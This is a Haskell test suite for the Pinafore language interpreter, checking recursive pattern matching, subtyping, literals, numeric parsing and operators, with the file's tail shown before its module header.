"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount: Integer -> Integer = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
]
]
, testTree
"match"
[ testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount Nothing" $
LRSuccess "0"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => if True then 1 else succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => if True then 2 else succ $ rcount y end end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => if True then 1 else succ $ rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => if True then 2 else succ $ rcount y end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => if True then 3 else succ $ rcount y end end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => succ $ rcount y end end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => succ $ rcount y end end end; rcount1 = fn x => rcount x end in rcount1 $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z; end; rcount = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "4"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z end; rcount = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "12"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z end; rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "12"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end; rval : rec a, Maybe a = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just Nothing))) => 4; Just (Just (Just (Just (Just _)))) => 5 end; rval : rec a, Maybe a = Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "4"
, testQuery
"let using Function; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just Nothing))) => 4; Just (Just (Just (Just (Just _)))) => 5 end; rval : rec a, Maybe a = Just rval end in rcount rval" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end; rval : rec a, Maybe a = Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "10"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "10"
, testQuery
"let using Function; using Integer; fix: (a -> a) -> a = fn f => let rec x = f x end in x; rc: (a -> Integer) -> Maybe a -> Integer = fn r => match Nothing => 0; Just y => succ $ r y end in fix rc $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "4"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe None)) = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe None))) = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery "let using Function; in Just $ Just $ Just Nothing" $ LRSuccess "Just Just Just Nothing"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe None))) = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe (Maybe None)))) = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ r1count y end; r1count = match Nothing => 0; Just y => succ $ r1count y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; in (Just $ Just $ Just Nothing) >- match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just y))) => 4 + rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just y) => 2 + rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
]
, testTree
"contra-var"
[ testQuery "let f: rec r, (r -> Integer) = fn _ => 3 in 0" LRCheckFail
, testQuery "let f: rec r, (r -> r) = fn x => x in 0" LRCheckFail
]
]
, let
testSupertype :: Text -> Text -> Text -> Text -> Bool -> TestTree
testSupertype supertype subtype val altval good = let
result =
LRSuccess $
unpack $
if good
then val
else altval
in testTree
(unpack $ supertype <> " -> " <> subtype)
[ testQuery
("let using Rational; x: " <>
supertype <>
" = " <>
val <>
"; y: " <>
subtype <>
" = x >-.Function match (z:? " <> subtype <> ") => z; _ => " <> altval <> "; end in y")
result
, testQuery
("let using Rational; x: " <>
supertype <>
" = " <>
val <>
"; y: " <>
subtype <>
" = check.Function @(" <>
subtype <> ") x >-.Function match Just z => z; Nothing => " <> altval <> "; end in y")
result
, testQuery
("let using Rational; x: " <>
supertype <>
" = " <> val <> "; y: " <> subtype <> " = coerce.Function @(" <> subtype <> ") x in y") $
if good
then result
else LRRunError
]
in testTree
"supertype"
[ testSupertype "Integer" "Integer" "3" "0" True
, testSupertype "Rational" "Integer" "3" "0" True
, testSupertype "Rational" "Integer" "7/2" "0" False
, testSupertype "Integer" "Rational" "3" "0" True
, testSupertype "Number" "Integer" "3" "0" True
, testSupertype "Number" "Integer" "7/2" "0" False
, testSupertype "Integer" "Number" "3" "0" True
, testSupertype "Number" "Rational" "3" "0" True
, testSupertype "Number" "Rational" "7/2" "0" True
, testSupertype "Rational" "Number" "7/2" "0" True
]
, let
testLiteral :: Int -> Bool -> Text -> TestTree
testLiteral len embedded val =
testTree
(unpack val)
[ testQuery ("literalLength.Debug " <> val) $ LRSuccess $ show len
, testQuery ("literalIsEmbedded.Debug " <> val) $ LRSuccess $ show embedded
]
in testTree
"literal"
[ testLiteral 1 True "\"\""
, testLiteral 2 True "\"A\""
, testLiteral 21 True "\"12345678901234567890\""
, testLiteral 31 True "\"123456789012345678901234567890\""
, testLiteral 32 False "\"1234567890123456789012345678901\""
, testLiteral 1 True "()"
, testLiteral 2 True "True"
, testLiteral 2 True "False"
, testLiteral 3 True "34"
, testLiteral 4 True "34.5"
, testLiteral 9 True "~34"
]
]
testShim :: Text -> String -> String -> TestTree
testShim query expectedType expectedShim =
testTree (unpack query) $
runTester defaultTester $ do
result <- tryExc $ testerLiftInterpreter $ parseValue query
liftIO $
case result of
FailureResult e -> assertFailure $ "expected success, found failure: " ++ show e
SuccessResult (MkSomeOf (MkPosShimWit t shim) _) -> do
assertEqual "type" expectedType $ unpack $ toText $ exprShow t
assertEqual "shim" expectedShim $ show shim
testShims :: TestTree
testShims =
testTree
"shim"
[ testShim "3" "Integer" "(join1 id)"
, testShim "negate.Integer" "Integer -> Integer" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, testShim "negate.Integer 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $ testShim "id" "a -> a" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, expectFailBecause "ISSUE #63" $ testShim "id 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $ testShim "fn x => x" "a -> a" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, expectFailBecause "ISSUE #63" $ testShim "(fn x => x) 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim "fn x => 4" "Any -> Integer" "(join1 (co (contra id termf) (join1 id)))"
, testShim "(fn x => 4) 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim
"let rcount = match Nothing => 0; Just y => succ $ rcount y end in rcount"
"(rec c, Maybe c) -> Integer"
"(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim
"let rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end in rcount"
"(rec a, Maybe a) -> Integer"
"(join1 id)"
]
testLanguage :: TestTree
testLanguage = localOption (mkTimeout 2000000) $ testTree "language" [testInfix, testNumbers, testShims, testQueries]
| null | https://raw.githubusercontent.com/AshleyYakeley/Truth/f567d19253bb471cbd8c39095fb414229b27706a/Pinafore/pinafore-language/test/Test/Language.hs | haskell | # OPTIONS -fno-warn-orphans # |
module Test.Language
( testLanguage
) where
import Data.Shim
import Pinafore
import Pinafore.Documentation
import Pinafore.Test
import Prelude (read)
import Shapes
import Shapes.Numeric
import Shapes.Test
testOp :: Name -> TestTree
testOp n =
testTree (show $ unpack n) $ do
case unpack n of
'(':_ -> assertFailure "parenthesis"
_ -> return ()
case operatorFixity n of
MkFixity AssocLeft 10 -> assertFailure "unassigned fixity"
_ -> return ()
testInfix :: TestTree
testInfix =
testTree "infix" $
fmap testOp $
allOperatorNames $ \case
ValueDocItem {} -> True
_ -> False
newtype PreciseEq t =
MkPreciseEq t
instance Show t => Show (PreciseEq t) where
show (MkPreciseEq a) = show a
instance Eq (PreciseEq Rational) where
(MkPreciseEq a) == (MkPreciseEq b) = a == b
instance Eq (PreciseEq Double) where
(MkPreciseEq a) == (MkPreciseEq b) = show a == show b
instance Eq (PreciseEq Number) where
(MkPreciseEq (ExactNumber a)) == (MkPreciseEq (ExactNumber b)) = MkPreciseEq a == MkPreciseEq b
(MkPreciseEq (InexactNumber a)) == (MkPreciseEq (InexactNumber b)) = MkPreciseEq a == MkPreciseEq b
_ == _ = False
instance Eq (PreciseEq t) => Eq (PreciseEq (Maybe t)) where
(MkPreciseEq Nothing) == (MkPreciseEq Nothing) = True
(MkPreciseEq (Just a)) == (MkPreciseEq (Just b)) = MkPreciseEq a == MkPreciseEq b
_ == _ = False
testCalc :: String -> Number -> Number -> TestTree
testCalc name expected found = testTree name $ assertEqual "" (MkPreciseEq expected) (MkPreciseEq found)
testNumbersArithemetic :: TestTree
testNumbersArithemetic =
testTree
"arithmetic"
[ testCalc "1/0" (InexactNumber $ 1 / 0) (1 / 0)
, testCalc "-1/0" (InexactNumber $ -1 / 0) (-1 / 0)
, testCalc "0/0" (InexactNumber $ 0 / 0) (0 / 0)
, testCalc "2+3" (ExactNumber $ 5) $ 2 + 3
, testCalc "2*3" (ExactNumber $ 6) $ 2 * 3
, testCalc "2-3" (ExactNumber $ -1) $ 2 - 3
, testCalc "2/3" (ExactNumber $ 2 % 3) $ 2 / 3
]
testShowRead ::
forall t. (Show t, Eq (PreciseEq t), Read t)
=> String
-> t
-> TestTree
testShowRead str t =
testTree
(show str)
[ testTree "show" $ assertEqual "" str $ show t
, testTree "read" $ assertEqual "" (MkPreciseEq t) $ MkPreciseEq $ read str
, testTree "read-show" $ assertEqual "" str $ show $ read @t str
]
testRead ::
forall t. (Show t, Eq (PreciseEq t), Read t)
=> String
-> Maybe t
-> TestTree
testRead str t = testTree (show str) $ assertEqual "" (MkPreciseEq t) $ MkPreciseEq $ readMaybe str
testNumbersShowRead :: TestTree
testNumbersShowRead =
testTree
"show,read"
[ testShowRead "0" $ ExactNumber 0
, testShowRead "1" $ ExactNumber 1
, testShowRead "-1" $ ExactNumber $ negate 1
, testShowRead "5/14" $ ExactNumber $ 5 / 14
, testShowRead "-8/11" $ ExactNumber $ -8 / 11
, testShowRead "NaN" $ InexactNumber $ 0 / 0
, testShowRead "~0.0" $ InexactNumber 0
, testShowRead "~1.0" $ InexactNumber 1
, testShowRead "~-1.0" $ InexactNumber $ negate 1
, testShowRead "~Infinity" $ InexactNumber $ 1 / 0
, testShowRead "~-Infinity" $ InexactNumber $ -1 / 0
, testRead "" $ Nothing @Number
, testRead " " $ Nothing @Number
, testRead " " $ Nothing @Number
, testRead "NaN" $ Just $ InexactNumber $ 0 / 0
, testRead "~Infinity" $ Just $ InexactNumber $ 1 / 0
, testRead "~-Infinity" $ Just $ InexactNumber $ -1 / 0
, testRead "z" $ Nothing @Number
, testRead "ZZ" $ Nothing @Number
, testRead "~1Z" $ Nothing @Number
, testRead "~-1.1Z" $ Nothing @Number
, testRead "0" $ Just $ ExactNumber 0
]
testNumbers :: TestTree
testNumbers = testTree "numbers" [testNumbersArithemetic, testNumbersShowRead]
data LangResult
= LRCheckFail
| LRRunError
| LRSuccess String
goodLangResult :: Bool -> LangResult -> LangResult
goodLangResult True lr = lr
goodLangResult False _ = LRCheckFail
testQuery :: Text -> LangResult -> TestTree
testQuery query expected =
testTree (show $ unpack query) $
runTester defaultTester $ do
result <-
tryExc $
testerLiftInterpreter $ do
v <- parseValue query
showPinaforeModel v
liftIO $
case result of
FailureResult e ->
case expected of
LRCheckFail -> return ()
_ -> assertFailure $ "check: expected success, found failure: " ++ show e
SuccessResult r -> do
me <- catchPureError r
case (expected, me) of
(LRCheckFail, _) -> assertFailure $ "check: expected failure, found success"
(LRRunError, Nothing) -> assertFailure $ "run: expected error, found success: " ++ r
(LRRunError, Just _) -> return ()
(LRSuccess _, Just e) -> assertFailure $ "run: expected success, found error: " ++ show e
(LRSuccess s, Nothing) -> assertEqual "result" s r
testSubsumeSubtype :: Bool -> Text -> Text -> [Text] -> [TestTree]
testSubsumeSubtype good t1 t2 vs =
[ testQuery ("let rec r = r end; x : " <> t1 <> " = r; y : " <> t2 <> " = x in ()") $
goodLangResult good $ LRSuccess "()"
] <>
fmap
(\v ->
testQuery ("let x : " <> t1 <> " = " <> v <> " in x : " <> t2) $ goodLangResult good $ LRSuccess $ unpack v)
vs <>
fmap
(\v ->
testQuery ("let x : " <> t1 <> " = " <> v <> "; y : " <> t2 <> " = x in y") $
goodLangResult good $ LRSuccess $ unpack v)
vs
testFunctionSubtype :: Bool -> Text -> Text -> [Text] -> [TestTree]
testFunctionSubtype good t1 t2 vs =
[ testQuery ("let f : (" <> t1 <> ") -> (" <> t2 <> ") = fn x => x in f") $ goodLangResult good $ LRSuccess "<?>"
, testQuery ("(fn x => x) : (" <> t1 <> ") -> (" <> t2 <> ")") $ goodLangResult good $ LRSuccess "<?>"
] <>
fmap
(\v ->
testQuery ("let f : (" <> t1 <> ") -> (" <> t2 <> ") = fn x => x in f " <> v) $
goodLangResult good $ LRSuccess $ unpack v)
vs
testSubtype1 :: Bool -> Bool -> Text -> Text -> [Text] -> [TestTree]
testSubtype1 good b t1 t2 vs =
testSubsumeSubtype good t1 t2 vs <>
if b
then testFunctionSubtype good t1 t2 vs
else []
testSubtype :: Bool -> Text -> Text -> [Text] -> TestTree
testSubtype b t1 t2 vs =
testTree (unpack $ t1 <> " <: " <> t2) $ testSubtype1 True b t1 t2 vs <> testSubtype1 False b t2 t1 vs
testSameType :: Bool -> Text -> Text -> [Text] -> TestTree
testSameType b t1 t2 vs =
testTree (unpack $ t1 <> " = " <> t2) $ testSubtype1 True b t1 t2 vs <> testSubtype1 True b t2 t1 vs
testQueries :: TestTree
testQueries =
testTree
"queries"
[ testTree "trivial" [testQuery "" $ LRCheckFail, testQuery "x" $ LRCheckFail]
, testTree
"comments"
[ testQuery "# comment\n1" $ LRSuccess "1"
, testQuery "1# comment\n" $ LRSuccess "1"
, testQuery "1 # comment\n" $ LRSuccess "1"
, testQuery "{# comment #} 1" $ LRSuccess "1"
, testQuery "{# comment #}\n1" $ LRSuccess "1"
, testQuery "{# comment\ncomment #}\n1" $ LRSuccess "1"
, testQuery "{# comment\ncomment\n#}\n1" $ LRSuccess "1"
, testQuery "{# A {# B #} C #} 1" $ LRSuccess "1"
, testQuery "{#\nA\n{#\nB\n#}\nC\n#}\n1" $ LRSuccess "1"
]
, testTree
"constants"
[ testTree
"numeric"
[ testQuery "0.5" $ LRSuccess "1/2"
, testQuery "0._3" $ LRSuccess "1/3"
, testQuery "-0._3" $ LRSuccess "-1/3"
, testQuery "-0.0_3" $ LRSuccess "-1/30"
, testQuery "0.3_571428" $ LRSuccess "5/14"
, testQuery "0." $ LRSuccess "0"
, testQuery "0.0" $ LRSuccess "0"
, testQuery "0._" $ LRSuccess "0"
, testQuery "0._0" $ LRSuccess "0"
, testQuery "0.0_" $ LRSuccess "0"
, testQuery "0.0_0" $ LRSuccess "0"
, testQuery "3" $ LRSuccess "3"
, testQuery "3.2_4" $ LRSuccess "146/45"
, testQuery "~1" $ LRSuccess "~1.0"
, testQuery "~-2.4" $ LRSuccess "~-2.4"
, testQuery "NaN" $ LRSuccess "NaN"
, testQuery "~Infinity" $ LRSuccess "~Infinity"
, testQuery "~-Infinity" $ LRSuccess "~-Infinity"
]
, testQuery "\"\"" $ LRSuccess "\"\""
, testQuery "\"Hello \"" $ LRSuccess "\"Hello \""
, testQuery "True" $ LRSuccess "True"
, testQuery "False" $ LRSuccess "False"
, testQuery "\"1\"" $ LRSuccess "\"1\""
, testQuery "length.Text." $ LRSuccess "<?>"
, testQuery "let opentype T in openEntity @T !\"example\"" $ LRSuccess "<?>"
, testQuery "let opentype T in anchor.Entity $.Function openEntity @T !\"example\"" $
LRSuccess "\"!F332D47A-3C96F533-854E5116-EC65D65E-5279826F-25EE1F57-E925B6C3-076D3BEC\""
]
, testTree
"list construction"
[ testQuery "[]" $ LRSuccess $ show @[Text] []
, testQuery "[1]" $ LRSuccess $ "[1]"
, testQuery "[1,2,3]" $ LRSuccess "[1, 2, 3]"
]
, testTree
"functions"
[ testQuery "fn x => x" $ LRSuccess "<?>"
, testQuery "fn x => 1" $ LRSuccess "<?>"
, testQuery "fns x => x" $ LRSuccess "<?>"
, testQuery "fns x => 1" $ LRSuccess "<?>"
, testQuery "fns x y => y" $ LRSuccess "<?>"
, testQuery "fns x y z => [x,y,z]" $ LRSuccess "<?>"
]
, testTree
"predefined"
[ testQuery "abs.Integer" $ LRSuccess "<?>"
, testQuery "fst.Product" $ LRSuccess "<?>"
, testQuery "(+.Integer)" $ LRSuccess "<?>"
, testQuery "fns a b => a +.Integer b" $ LRSuccess "<?>"
, testQuery "(==.Entity)" $ LRSuccess "<?>"
, testQuery "fns a b => a ==.Entity b" $ LRSuccess "<?>"
]
, testTree
"let-binding"
[ testQuery "let in 27" $ LRSuccess "27"
, testQuery "let a=\"5\" in a" $ LRSuccess "\"5\""
, testQuery "let a=5 in a" $ LRSuccess "5"
, testQuery "let a=1 in let a=2 in a" $ LRSuccess "2"
, testQuery "let a=1;b=2 in a" $ LRSuccess "1"
, testQuery "let a=1;b=2 in b" $ LRSuccess "2"
, testQuery "let a=1;b=2 in b" $ LRSuccess "2"
, testQuery "let a=1;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a=1 ;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a= 1 ;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a=7;b=a in a" $ LRSuccess "7"
, testQuery "let a=7;b=a in b" $ LRSuccess "7"
, testQuery "let a=2 in let b=a in b" $ LRSuccess "2"
, testTree
"recursive"
[ testQuery "let rec a=1 end in a" $ LRSuccess "1"
, testQuery "let rec a=1 end in let rec a=2 end in a" $ LRSuccess "2"
, testQuery "let rec a=1;a=2 end in a" $ LRCheckFail
, testQuery "let rec a=1;b=a end in b" $ LRSuccess "1"
, testQuery "let rec b=a;a=1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => x end in a 1" $ LRSuccess "1"
, testQuery "let rec a = fn x => x; b = a end in b" $ LRSuccess "<?>"
, testQuery "let rec a = fn x => x end in let rec b = a 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => x; b = a 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => b; b = b end in a" $ LRSuccess "<?>"
, testQuery "let rec a = fn x => 1; b = b end in a b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1; b = a b end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1 end in let rec b = a b end in b" $ LRSuccess "1"
, testQuery "let rec b = (fn x => 1) b end in b" $ LRSuccess "1"
, testQuery "let rec b = a b; a = fn x => 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1; b = a c; c=b end in b" $ LRSuccess "1"
, testTree
"polymorphism"
[ testQuery "let rec i = fn x => x end in (succ.Integer $.Function i 1, i False)" $
LRSuccess "(2, False)"
, testQuery "let rec i = fn x => x; r = (succ.Integer $.Function i 1, i False) end in r" $
LRSuccess "(2, False)"
, testQuery "let rec r = (succ.Integer $.Function i 1, i False); i = fn x => x end in r" $
LRSuccess "(2, False)"
]
]
, testTree
"pattern"
[ testQuery "let (a,b) = (3,4) in a" $ LRSuccess "3"
, testQuery "let (a,b) = (3,4) in b" $ LRSuccess "4"
, testQuery "let (a,b): Integer *: Integer = (3,4) in (b,a)" $ LRSuccess "(4, 3)"
, testQuery "let rec (a,b): Integer *: Integer = (3,a +.Integer 4) end in (b,a)" $
LRSuccess "(7, 3)"
, testQuery "let rec (a,b) = (3,a +.Integer 4) end in (b,a)" $ LRSuccess "(7, 3)"
, testQuery "let rec (a,b) = (3,a +.Integer 4); (c,d) = (8,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (8, 9)))"
, testQuery
"let rec (a,b) = (3,a +.Integer 4); (c,d) = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b) = (3,a +.Integer 4); (c,d): Integer *: Integer = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b): Integer *: Integer = (3,a +.Integer 4); (c,d) = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b): Integer *: Integer = (3,a +.Integer 4); (c,d): Integer *: Integer = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
]
, testTree
"rename"
[ testQuery "let f: List a -> Integer -> List a = fn x => fn _ => x in 0" $ LRSuccess "0"
, testQuery "let f: List a -> Integer -> List a = fn x => fn p => x in 0" $ LRSuccess "0"
, testQuery "let f: List a -> Integer *: Integer -> List a = fn x => fn (p,q) => x in 0" $
LRSuccess "0"
]
]
, testTree
"scoping"
[ testQuery "(fn b => fn a => b) a" LRCheckFail
, testQuery "let b=a in fn a => b" LRCheckFail
, testQuery "let b=a in ()" LRCheckFail
, testQuery "let rec b=a end in ()" LRCheckFail
, testQuery "let a=1 in let b=a in (fn a => b) 2" $ LRSuccess "1"
, testQuery "(fn a => let b=a in (fn a => b) 2) 1" $ LRSuccess "1"
]
, testTree
"name shadowing"
[ testQuery "let a=1 in (fn a => a) 2" $ LRSuccess "2"
, testQuery "let a=1 in (fn (Just a) => a) (Just 2)" $ LRSuccess "2"
, testQuery "let a=1 in let a=2 in a" $ LRSuccess "2"
, testQuery "(fn a => let a=2 in a) 1" $ LRSuccess "2"
, testQuery "(fn a => fn a => a) 1 2" $ LRSuccess "2"
, testQuery "let a=1 in 2 >-.Function match a => a end" $ LRSuccess "2"
, testQuery "let a=1 in Just 2 >-.Function match Just a => a end" $ LRSuccess "2"
, testQuery "1 >-.Function match a => 2 >-.Function match a => a end end" $ LRSuccess "2"
]
, testTree
"partial keywords"
[ testQuery "let i=1 in i" $ LRSuccess "1"
, testQuery "let inx=1 in inx" $ LRSuccess "1"
, testQuery "let l=1 in l" $ LRSuccess "1"
, testQuery "let le=1 in le" $ LRSuccess "1"
, testQuery "let letx=1 in letx" $ LRSuccess "1"
, testQuery "let letre=1 in letre" $ LRSuccess "1"
, testQuery "let letrecx=1 in letrecx" $ LRSuccess "1"
, testQuery "let tru=1 in tru" $ LRSuccess "1"
, testQuery "let truex=1 in truex" $ LRSuccess "1"
, testQuery "let f=1 in f" $ LRSuccess "1"
, testQuery "let fals=1 in fals" $ LRSuccess "1"
, testQuery "let falsex=1 in falsex" $ LRSuccess "1"
]
, testTree
"duplicate bindings"
[ testQuery "let rec a=1;a=1 end in a" $ LRCheckFail
, testQuery "let red a=1;a=2 end in a" $ LRCheckFail
, testQuery "let rec a=1;b=0;a=2 end in a" $ LRCheckFail
]
, testTree
"lexical scoping"
[ testQuery "let a=1 in let b=a in let a=3 in a" $ LRSuccess "3"
, testQuery "let rec a=1;b=a;a=3 end in a" $ LRCheckFail
, testQuery "let a=1 in let b=a in let a=3 in b" $ LRSuccess "1"
, testQuery "let rec a=1;b=a;a=3 end in b" $ LRCheckFail
]
, testTree
"operator"
[ testQuery "0 ==.Entity 1" $ LRSuccess "False"
, testQuery "1 ==.Entity 1" $ LRSuccess "True"
, testQuery "0 /=.Entity 1" $ LRSuccess "True"
, testQuery "1 /=.Entity 1" $ LRSuccess "False"
, testQuery "0 <=.Number 1" $ LRSuccess "True"
, testQuery "1 <=.Number 1" $ LRSuccess "True"
, testQuery "2 <=.Number 1" $ LRSuccess "False"
, testQuery "0 <.Number 1" $ LRSuccess "True"
, testQuery "1 <.Number 1" $ LRSuccess "False"
, testQuery "2 <.Number 1" $ LRSuccess "False"
, testQuery "0 >=.Number 1" $ LRSuccess "False"
, testQuery "1 >=.Number 1" $ LRSuccess "True"
